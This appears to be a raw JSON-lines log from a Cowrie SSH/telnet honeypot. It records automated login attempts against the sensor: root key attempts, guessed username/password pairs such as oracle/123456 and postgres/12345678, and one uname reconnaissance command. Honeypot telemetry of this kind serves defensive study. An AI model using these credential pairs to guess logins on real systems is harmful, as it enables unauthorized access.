{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:f5:66:bb:22:b3:a8:e1:37:2c:ad:27:69:9d:90:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuMpVmfkijfZG02Hp0udjFaJrRkiK67MMcXXwOo7SRYSCfIlKW1Y4bHs9xwcTtJnpjwjXg85S1rdYQIKh5YBrRJhYF6TGCSoehGO/j4K2/5UtkDx0rrp+HYsASM3lrem92BAU9x7RrZ7lNF5DarIAgxIj4kTWOML9xFfleyQjuXNH7xAFQ0l+gfhgdPfSj7nZ7L4zyn1A8amAJJ+Jowor3bwaZioFbWqsyStYsZj/H+aoMGmHWX+KD+np0UhuC5ZlOqjgmXvgFUcDWag9xMJXbZI/V15YLrLJHPUE9gegZnFMeC6lXWk49U9F0rQ3ffhM/J1nMWOpBBI0t3tdC3DDN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:f5:66:bb:22:b3:a8:e1:37:2c:ad:27:69:9d:90:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.988384Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:f5:66:bb:22:b3:a8:e1:37:2c:ad:27:69:9d:90:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuMpVmfkijfZG02Hp0udjFaJrRkiK67MMcXXwOo7SRYSCfIlKW1Y4bHs9xwcTtJnpjwjXg85S1rdYQIKh5YBrRJhYF6TGCSoehGO/j4K2/5UtkDx0rrp+HYsASM3lrem92BAU9x7RrZ7lNF5DarIAgxIj4kTWOML9xFfleyQjuXNH7xAFQ0l+gfhgdPfSj7nZ7L4zyn1A8amAJJ+Jowor3bwaZioFbWqsyStYsZj/H+aoMGmHWX+KD+np0UhuC5ZlOqjgmXvgFUcDWag9xMJXbZI/V15YLrLJHPUE9gegZnFMeC6lXWk49U9F0rQ3ffhM/J1nMWOpBBI0t3tdC3DDN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:04.992739Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:23:10:b0:dd:13:1e:b2:14:78:db:7e:cd:a5:31:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbzIyPTurQNdcx2+KCm5lbefxuqnA3e8TBCGSbNJ4rQMz4ggiHUQtNGh8SnhYU6Duhx18HsKWB11roOw7f12nCTXWuEjetvLgO2beiLXF9zmYJUS94UTGU8IXmlcLH+J7vEDXkr79Uj9UaLrz2HcaptFI6EKDTPa+YTCBOiIrfcmw4r4wwSsS1xR6PvHIdYCHvscTgQUXp+DGS3K1jXCKCA9fTjvbx2fe+mdm9wiezJkCx+rUqwyQ2GpNW1WBrtBBlOOvp+RARvmdsKnf069zHRreuClHFK9Rr24SCdB4KxYvoJl/oKwEsXFvpA32FyfsQRYuYimtQ5typW6ul4zA9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:23:10:b0:dd:13:1e:b2:14:78:db:7e:cd:a5:31:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:05.136242Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:23:10:b0:dd:13:1e:b2:14:78:db:7e:cd:a5:31:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbzIyPTurQNdcx2+KCm5lbefxuqnA3e8TBCGSbNJ4rQMz4ggiHUQtNGh8SnhYU6Duhx18HsKWB11roOw7f12nCTXWuEjetvLgO2beiLXF9zmYJUS94UTGU8IXmlcLH+J7vEDXkr79Uj9UaLrz2HcaptFI6EKDTPa+YTCBOiIrfcmw4r4wwSsS1xR6PvHIdYCHvscTgQUXp+DGS3K1jXCKCA9fTjvbx2fe+mdm9wiezJkCx+rUqwyQ2GpNW1WBrtBBlOOvp+RARvmdsKnf069zHRreuClHFK9Rr24SCdB4KxYvoJl/oKwEsXFvpA32FyfsQRYuYimtQ5typW6ul4zA9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:05.140024Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:05.286468Z","src_ip":"188.44.20.31","session":"d6c67189f77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.30071640014648,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:07.216548Z","src_ip":"152.42.224.71","session":"e6b90e79cb04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e38fc54ea172","protocol":"telnet","message":"New connection: 152.42.224.71:58386 (10.17.0.5:23) [session: e38fc54ea172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:07.389246Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58388,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c2b90e863dd","protocol":"telnet","message":"New connection: 152.42.224.71:58388 (10.17.0.5:23) [session: 3c2b90e863dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:08.041845Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec811d0c3634","protocol":"telnet","message":"New connection: 152.42.224.71:58396 (10.17.0.5:23) [session: ec811d0c3634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:13.680138Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55394,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dcc01e7b42c","protocol":"ssh","message":"New connection: 31.40.204.166:55394 (159.203.135.109:22) [session: 1dcc01e7b42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:13.811631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:13.817313Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:14.004236Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:14.909943Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:15.260485Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:15.264041Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58408,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6e05cc9a85","protocol":"telnet","message":"New connection: 152.42.224.71:58408 (10.17.0.5:23) [session: 0c6e05cc9a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:15.356550Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:15.401778Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:15.405938Z","src_ip":"31.40.204.166","session":"1dcc01e7b42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.97528553009033,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:16.936813Z","src_ip":"152.42.224.71","session":"cd915d58f073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126719474792,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:17.023168Z","src_ip":"152.42.224.71","session":"1d0961f5a9c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179052114486694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:20.654624Z","src_ip":"152.42.224.71","session":"08b4cf3f025c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46904,"dst_ip":"159.203.135.109","dst_port":22,"session":"510407faeed8","protocol":"ssh","message":"New connection: 31.40.204.166:46904 (159.203.135.109:22) [session: 510407faeed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:26.480008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:26.484350Z","src_ip":"31.40.204.166","session":"510407faeed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:26.890090Z","src_ip":"31.40.204.166","session":"510407faeed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:27.415799Z","src_ip":"31.40.204.166","session":"510407faeed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:28.617996Z","src_ip":"31.40.204.166","session":"510407faeed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00201892852783,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:29.574753Z","src_ip":"152.42.224.71","session":"0707f986a72f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":45634,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e714dad125","protocol":"ssh","message":"New connection: 47.237.167.49:45634 (159.203.135.109:22) [session: 90e714dad125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:31.244429Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34774,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ebf04b1936","protocol":"telnet","message":"New connection: 152.42.224.71:34774 (10.17.0.5:23) [session: 30ebf04b1936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:31.601217Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39080,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f0bad0b4f8","protocol":"ssh","message":"New connection: 31.40.204.166:39080 (159.203.135.109:22) [session: c5f0bad0b4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:37.902784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:37.987767Z","src_ip":"31.40.204.166","session":"c5f0bad0b4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.393347Z","src_ip":"31.40.204.166","session":"c5f0bad0b4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10768,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6aaf19eceb1","protocol":"ssh","message":"New connection: 38.93.206.2:10768 (10.17.0.5:22) [session: c6aaf19eceb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.552782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.561891Z","src_ip":"38.93.206.2","session":"c6aaf19eceb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.613186Z","src_ip":"38.93.206.2","session":"c6aaf19eceb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41800,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4dd16dc124c","protocol":"telnet","message":"New connection: 152.42.224.71:41800 (10.17.0.5:23) [session: f4dd16dc124c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.662799Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghblehjr","message":"login attempt [root/ghblehjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.766552Z","src_ip":"38.93.206.2","session":"c6aaf19eceb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:38.917637Z","src_ip":"31.40.204.166","session":"c5f0bad0b4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41802,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c10c9fbe6a","protocol":"telnet","message":"New connection: 152.42.224.71:41802 (10.17.0.5:23) [session: c4c10c9fbe6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:39.608795Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:39.822183Z","src_ip":"38.93.206.2","session":"c6aaf19eceb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:40.097875Z","src_ip":"31.40.204.166","session":"c5f0bad0b4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41818,"dst_ip":"10.17.0.5","dst_port":23,"session":"cadf3cc84f85","protocol":"telnet","message":"New connection: 152.42.224.71:41818 (10.17.0.5:23) [session: cadf3cc84f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:40.477406Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":53088,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b80aed7ac92","protocol":"ssh","message":"New connection: 190.85.41.170:53088 (10.17.0.5:22) [session: 9b80aed7ac92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:40.509037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:40.512859Z","src_ip":"190.85.41.170","session":"9b80aed7ac92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:40.589073Z","src_ip":"190.85.41.170","session":"9b80aed7ac92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXSW@","message":"login attempt [root/!QAZXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:40.927673Z","src_ip":"190.85.41.170","session":"9b80aed7ac92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:42.007416Z","src_ip":"190.85.41.170","session":"9b80aed7ac92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00240874290466,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:43.048402Z","src_ip":"152.42.224.71","session":"5b39d79ea486","protocol":"telnet"}
